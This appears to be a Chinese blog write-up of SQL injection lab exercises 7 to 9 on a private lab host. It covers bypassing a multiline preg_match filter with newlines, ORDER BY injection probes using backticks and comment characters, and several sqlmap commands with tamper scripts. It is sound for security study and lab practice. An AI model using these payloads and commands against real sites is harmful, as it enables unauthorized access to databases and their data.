Mysql数据库-sql injection(二)

案例七:

192.168.2.131/sqli/example7.php?id=2

现在有一个问题,不知道背后的mysql语句到底过滤了什么,黑盒测试的话,就不知道如何针对性地绕过。


源代码

1
2
3
if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}

知识点:preg_match()函数的模式修饰符

1
2
3
_m_ (_PCRE_MULTILINE_)

默认情况下,PCRE 认为目标字符串是由单行字符组成的(然而实际上它可能会包含多行)"行首"元字符 (^) 仅匹配字符串的开始位置, 而"行末"元字符 ($) 仅匹配字符串末尾, 或者最后的换行符(除非设置了 _D_ 修饰符)。这个行为和 perl 相同。 当这个修饰符设置之后,“行首”和“行末”就会匹配目标字符串中任意换行符之前或之后,另外, 还分别匹配目标字符串的最开始和最末尾位置。这等同于 perl 的 /m 修饰符。如果目标字符串 中没有 "\n" 字符,或者模式中没有出现 ^ 或 $,设置这个修饰符不产生任何影响。

所以,有了这个\m,如果加入换行符,那么就会导致匹配(换行符之前/之后/整个字符串)。


好了,现在问题解决了,主要是我建立的字典不够强大。
所以之前用intruder没有发现。

sqlmap -u "http://192.168.2.131/sqli/example7.php?id=2" --dbms mysql --tamper=space2newline.py --dbs

案例八-order-by:

http://192.168.2.131/sqli/example8.php?order=name

经过检查,只有#符号无影响,其他都导致页面查询失败。

知识点

order by是排序的语句,单引号不能跟order by同时使用。

‘name’ ,mysql会认为是常量。

我们看一条mysql语句

1
SELECT * FROM `MyTable` WHERE `id` IN (11,1,111) ORDER BY FIELD(`id`, 11,1,111);

尝试绕过

apostrophemask.py 用utf8代替引号
base64encode.py 将payload编码

sqlmap -u "http://192.168.2.131/sqli/example8.php?order=name" --dbms mysql --tamper=base64encode.py --dbs

sqlmap -u "http://192.168.2.131/sqli/example8.php?order=name" --dbms mysql -technique B --level 5

解析

绕不过了,然后看下答案。

如何确认order by注入?

下列语句,网页显示正常

1
2
3
order=age`%20DESC%20%23 
order=age`%20%23
order=age`%20ASC%20%23

加入`符号,网页显示错误。

%20ASC、%20DESC,表示升序排序、降序排序。

如何利用order by注入参考资料

中关村在线order by语句的盲注思路的分享(wooyun)

wp

sqlmap -u "http://192.168.2.131/sqli/example8.php?order=id%60*" --dbms mysql --dbs --batch

–batch 当询问是否确定的时候,自动确定

%60是反引号,后接*,表示payload加在此处。


案例九-order-by:

sqlmap -u "http://192.168.2.131/sqli/example9.php?order=name" --dbms mysql -technique B --level 5

分析

虽然工具注入成功了,但还是分析一下。否则以后再遇到,只是碰运气,万一注入失败了,也不知道是哪里出错了。

mysql的if语句。

if(a,b,c)
如果a表达式为true,则运行表达式b;a = false,则运行表达式c。


两种注入语句,返回页面不同,说明有注入。